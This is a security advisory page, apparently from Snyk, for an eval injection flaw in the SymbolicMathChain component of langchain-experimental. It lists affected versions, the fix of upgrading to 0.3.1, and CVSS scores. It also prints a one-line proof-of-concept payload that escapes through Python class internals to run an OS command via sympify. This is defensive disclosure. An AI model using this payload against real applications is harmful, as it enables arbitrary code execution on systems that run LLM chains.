Eval Injection Affecting langchain-experimental package, versions [0.0.58,0.3.1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.05% (17th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-LANGCHAINEXPERIMENTAL-8056288
  • published 19 Sep 2024
  • disclosed 19 Sep 2024
  • credit 12end

How to fix?

Upgrade langchain-experimental to version 0.3.1 or higher.

Overview

langchain-experimental is a package that holds experimental LangChain code, intended for research and experimental uses.

Affected versions of this package are vulnerable to Eval Injection in SymbolicMathChain component, through the sympify function. An attacker can execute arbitrary commands or code by supplying malicious input to this function.

PoC

sympy.sympify("this.__class__.__mro__[8].__subclasses__()[154].__init__.__globals__['__builtins__']['exec']('import os;os.system(\"id\")')")

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
6.9 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    Low
  • Integrity (VI)
    Low
  • Availability (VA)
    None
  • Confidentiality (SC)
    Low
  • Integrity (SI)
    None
  • Availability (SA)
    None